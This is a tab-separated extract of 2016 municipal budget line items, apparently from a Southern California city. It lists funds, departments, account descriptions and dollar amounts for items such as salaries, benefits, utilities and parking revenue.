22537	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 - FSS FORFEITURES	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22538	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	1750816	0	0	0	0	0	0	0	0	0	0	0	1750816
22539	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2016	344436	0	0	0	0	0	0	0	0	0	0	0	344436
22540	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		EAP	816.0	Salaries and Wages	2016	2107	0	0	0	0	0	0	0	0	0	0	0	2107
22541	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2016	1020	0	0	0	0	0	0	0	0	0	0	0	1020
22542	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2016	1782	0	0	0	0	0	0	0	0	0	0	0	1782
22543	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	3251	0	0	0	0	0	0	0	0	0	0	0	3251
22544	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2016	-1931	0	0	0	0	0	0	0	0	0	0	0	-1931
22545	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2016	776	0	0	0	0	0	0	0	0	0	0	0	776
22546	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2016	117031	0	0	0	0	0	0	0	0	0	0	0	117031
22547	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2016	6749	0	0	0	0	0	0	0	0	0	0	0	6749
22548	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533040.0	SPECIAL INSURANCE		 Supplies and Expenses	2016	45000	0	0	0	0	0	0	0	0	0	0	0	45000
22549	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	5322	0	0	0	0	0	0	0	0	0	0	0	5322
22550	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		MEDICAL-RETIREE	810.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22551	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2016	-106524	0	0	0	0	0	0	0	0	0	0	0	-106524
22552	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555067.0	LANDFILL GAS CONTROL SYST.	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22553	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	7080	0	0	0	0	0	0	0	0	0	0	0	7080
22554	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		DCAP	804.0	Salaries and Wages	2016	288	0	0	0	0	0	0	0	0	0	0	0	288
22555	BA	IS	22	COPS Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2016	100000	0	0	0	0	0	0	0	0	0	0	0	100000
22556	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2016	17700	0	0	0	0	0	0	0	0	0	0	0	17700
22557	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2016	39539	0	0	0	0	0	0	0	0	0	0	0	39539
22558	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2016	520650	0	0	0	0	0	0	0	0	0	0	0	520650
22559	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22560	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2016	44473	0	0	0	0	0	0	0	0	0	0	0	44473
22561	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	7140	0	0	0	0	0	0	0	0	0	0	0	7140
22562	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	2866	0	0	0	0	0	0	0	0	0	0	0	2866
22563	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522129.0	UTIL-GAS-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2016	1250	0	0	0	0	0	0	0	0	0	0	0	1250
22564	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2016	3100	0	0	0	0	0	0	0	0	0	0	0	3100
22565	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	2000	0	0	0	0	0	0	0	0	0	0	0	2000
22566	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544040.0	BOOKS / PAMPHLETS	808.0	 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
22567	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22568	BA	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22569	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	158918	0	0	0	0	0	0	0	0	0	0	0	158918
22570	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2016	6749	0	0	0	0	0	0	0	0	0	0	0	6749
22571	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-9536	0	0	0	0	0	0	0	0	0	0	0	-9536
22572	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	41074	0	0	0	0	0	0	0	0	0	0	0	41074
22573	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	-5785	0	0	0	0	0	0	0	0	0	0	0	-5785
22574	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2016	1432	0	0	0	0	0	0	0	0	0	0	0	1432
22575	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2016	7553	0	0	0	0	0	0	0	0	0	0	0	7553
22576	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2016	5400	0	0	0	0	0	0	0	0	0	0	0	5400
22577	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511250.0	STANDBY PAY	808.0	Salaries and Wages	2016	24367	0	0	0	0	0	0	0	0	0	0	0	24367
22578	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2016	2872	0	0	0	0	0	0	0	0	0	0	0	2872
22579	BA	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	810.0	Salaries and Wages	2016	6178	0	0	0	0	0	0	0	0	0	0	0	6178
22580	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	523010.0	ENVIRONMENTAL SERVICES FEE	808.0	 Supplies and Expenses	2016	3700	0	0	0	0	0	0	0	0	0	0	0	3700
22581	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400620.0	RESURFACING PERMITS	612.0	Charges for Service	2016	-18149	0	0	0	0	0	0	0	0	0	0	0	-18149
22582	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	840	0	0	0	0	0	0	0	0	0	0	0	840
22583	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544015.0	FIELD EQUIP & TOOLS	808.0	 Supplies and Expenses	2016	5192	0	0	0	0	0	0	0	0	0	0	0	5192
22584	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402940.0	BEACH CONV FUEL STN REPL	650.0	Charges for Service	2016	-7500	0	0	0	0	0	0	0	0	0	0	0	-7500
22585	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2016	428	0	0	0	0	0	0	0	0	0	0	0	428
22586	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544112.0	SIGNAGE		 Supplies and Expenses	2016	21930	0	0	0	0	0	0	0	0	0	0	0	21930
22587	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555018.0	OUTSIDE REPAIRS/SERV-BUS STOP		 Supplies and Expenses	2016	139650	0	0	0	0	0	0	0	0	0	0	0	139650
22588	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22589	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	404150.0	LIBRARY COMPUTER SESSIONS FEE	612.0	Charges for Service	2016	-25000	0	0	0	0	0	0	0	0	0	0	0	-25000
22590	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	404970.0	OFFSITE IMPROVEMENTS REIMBURSE	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22591	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404711.0	EVENT RENTALS	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22592	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2016	-66000	0	0	0	0	0	0	0	0	0	0	0	-66000
22593	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	405140.0	415 PCH - CONCESSIONS	612.0	Charges for Service	2016	-181500	0	0	0	0	0	0	0	0	0	0	0	-181500
22594	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	17023	0	0	0	0	0	0	0	0	0	0	0	17023
22595	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2016	9719	0	0	0	0	0	0	0	0	0	0	0	9719
22596	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		EAP	804.0	Salaries and Wages	2016	988	0	0	0	0	0	0	0	0	0	0	0	988
22597	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22598	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545010.0	AQUATIC SUPPLIES	810.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
22599	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	588090.0	FURNITURE & FURNISHINGS	810.0	 Supplies and Expenses	2016	171447	0	0	0	0	0	0	0	0	0	0	0	171447
22600	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	12324	0	0	0	0	0	0	0	0	0	0	0	12324
22601	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		DCAP	804.0	Salaries and Wages	2016	926	0	0	0	0	0	0	0	0	0	0	0	926
22602	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	569360.0	INNOVATIONS	804.0	 Supplies and Expenses	2016	16000	0	0	0	0	0	0	0	0	0	0	0	16000
22603	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	43383	0	0	0	0	0	0	0	0	0	0	0	43383
22604	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	408490.0	RESIDENTIAL REPORT MONITORING	612.0	Charges for Service	2016	-1500	0	0	0	0	0	0	0	0	0	0	0	-1500
22605	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408570.0	BIKESHARE AQMD GRANT	610.0	Intergovernmental	2016	-40000	0	0	0	0	0	0	0	0	0	0	0	-40000
22606	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408540.0	MULTI MODAL TRAVEL & PARKING	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22607	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	883	0	0	0	0	0	0	0	0	0	0	0	883
22608	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522311.0	DISCOUNTS AVAILABLE	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22609	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2016	50305	0	0	0	0	0	0	0	0	0	0	0	50305
22610	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2016	190537	0	0	0	0	0	0	0	0	0	0	0	190537
22611	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	476887	0	0	0	0	0	0	0	0	0	0	0	476887
22612	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		DCAP	808.0	Salaries and Wages	2016	1706	0	0	0	0	0	0	0	0	0	0	0	1706
22613	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544090.0	MEDICAL/FIRST AID SUPPLIES	808.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22614	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	408000.0	INTERFUND SERVICES-PUBLIC LAND	612.0	Charges for Service	2016	-87398	0	0	0	0	0	0	0	0	0	0	0	-87398
22615	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511681.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22616	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2016	235031	0	0	0	0	0	0	0	0	0	0	0	235031
22617	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2016	6407	0	0	0	0	0	0	0	0	0	0	0	6407
22618	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2016	12965	0	0	0	0	0	0	0	0	0	0	0	12965
22619	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2016	316544	0	0	0	0	0	0	0	0	0	0	0	316544
22620	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2016	32000	0	0	0	0	0	0	0	0	0	0	0	32000
22621	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2016	22000	0	0	0	0	0	0	0	0	0	0	0	22000
22622	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2016	203620	0	0	0	0	0	0	0	0	0	0	0	203620
22623	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	7010	0	0	0	0	0	0	0	0	0	0	0	7010
22624	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	1600	0	0	0	0	0	0	0	0	0	0	0	1600
22625	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	19603	0	0	0	0	0	0	0	0	0	0	0	19603
22626	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2016	179097	0	0	0	0	0	0	0	0	0	0	0	179097
22627	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	-43612	0	0	0	0	0	0	0	0	0	0	0	-43612
22628	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2016	6239	0	0	0	0	0	0	0	0	0	0	0	6239
22629	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2016	26000	0	0	0	0	0	0	0	0	0	0	0	26000
22630	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22631	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577701.0	PROP A REIMBURSEMENT WISE	910.0	 Supplies and Expenses	2016	600000	0	0	0	0	0	0	0	0	0	0	0	600000
22632	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511050.0	CAPITAL PROJECT STAFFING	808.0	Salaries and Wages	2016	-159075	0	0	0	0	0	0	0	0	0	0	0	-159075
22633	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22634	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400070.0	PROPERTY TAXES-DEL-AIRCRAFT	602.0	Property Taxes	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22635	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400080.0	HOME EXEMPT TAX RELIEF	602.0	Property Taxes	2016	-188000	0	0	0	0	0	0	0	0	0	0	0	-188000
22636	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405590.0	CABLE FRANCHISE FEES	608.0	Licenses and Permits	2016	-1129579	0	0	0	0	0	0	0	0	0	0	0	-1129579
22637	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522910.0	VEHICLES - FUELS / LUBRICATION	810.0	 Supplies and Expenses	2016	1038	0	0	0	0	0	0	0	0	0	0	0	1038
22638	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2016	533	0	0	0	0	0	0	0	0	0	0	0	533
22639	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	408150.0	ALT FUEL TAX CREDIT	662.0	Other	2016	-100000	0	0	0	0	0	0	0	0	0	0	0	-100000
22640	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	400891.0	CITY OF LA - MAPS REFUND	650.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22641	BA	IS	53	Parks and Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	402950.0	INT DEP / INVESTMENT	616.0	Investment Income	2016	-1000	0	0	0	0	0	0	0	0	0	0	0	-1000
22642	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22643	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	1046	0	0	0	0	0	0	0	0	0	0	0	1046
22644	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511749.0	VISION	808.0	Salaries and Wages	2016	149	0	0	0	0	0	0	0	0	0	0	0	149
22645	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	494	0	0	0	0	0	0	0	0	0	0	0	494
22646	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544110.0	PRINTED FORMS	808.0	 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
22647	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577260.0	SENIOR HOUSING VOUCHER PRG	816.0	 Supplies and Expenses	2016	350000	0	0	0	0	0	0	0	0	0	0	0	350000
22648	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2016	-5600000	0	0	0	0	0	0	0	0	0	0	0	-5600000
22649	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401210.0	DAMAGE TO CITY PROPERTY	622.0	Other	2016	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
22650	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405370.0	DISCOUNT ON PERS PREPAYMENT	622.0	Other	2016	-1669756	0	0	0	0	0	0	0	0	0	0	0	-1669756
22651	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	408360.0	SUCCESSOR AGENCY ADMIN	622.0	Other	2016	-675000	0	0	0	0	0	0	0	0	0	0	0	-675000
22652	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	402920.0	PROP A LOCAL RETURN	610.0	Intergovernmental	2016	-1268231	0	0	0	0	0	0	0	0	0	0	0	-1268231
22653	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544040.0	BOOKS/PAMPHLETS	808.0	 Supplies and Expenses	2016	100	0	0	0	0	0	0	0	0	0	0	0	100
22654	BA	IS	14	TORCA Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404178.0	RESIDUAL RECEIPTS-HOUSING	622.0	Other	2016	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
22655	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400290.0	PREF PARKING PERMITS	608.0	Licenses and Permits	2016	-1177000	0	0	0	0	0	0	0	0	0	0	0	-1177000
22656	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400300.0	ON STREET METERS	608.0	Licenses and Permits	2016	-14920925	0	0	0	0	0	0	0	0	0	0	0	-14920925
22657	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	401328.0	PERMITS -PARKING STRUCTURE 7&8	608.0	Licenses and Permits	2016	-224000	0	0	0	0	0	0	0	0	0	0	0	-224000
22658	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2016	-1000	0	0	0	0	0	0	0	0	0	0	0	-1000
22659	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578311.0	FIRE REIMBURSEMENT	810.0	 Supplies and Expenses	2016	75826	0	0	0	0	0	0	0	0	0	0	0	75826
22660	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511920.0	UNIFORM / TOOL ALLOWANCE	804.0	Salaries and Wages	2016	600	0	0	0	0	0	0	0	0	0	0	0	600
22661	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2016	1794	0	0	0	0	0	0	0	0	0	0	0	1794
22662	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DCAP	804.0	Salaries and Wages	2016	216	0	0	0	0	0	0	0	0	0	0	0	216
22663	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2016	39632	0	0	0	0	0	0	0	0	0	0	0	39632
22664	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	12760	0	0	0	0	0	0	0	0	0	0	0	12760
22665	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555218.0	COMMUNITY EMERGENCY RESP TEAM	804.0	 Supplies and Expenses	2016	24800	0	0	0	0	0	0	0	0	0	0	0	24800
22666	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-29771	0	0	0	0	0	0	0	0	0	0	0	-29771
22667	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DCAP	804.0	Salaries and Wages	2016	2210	0	0	0	0	0	0	0	0	0	0	0	2210
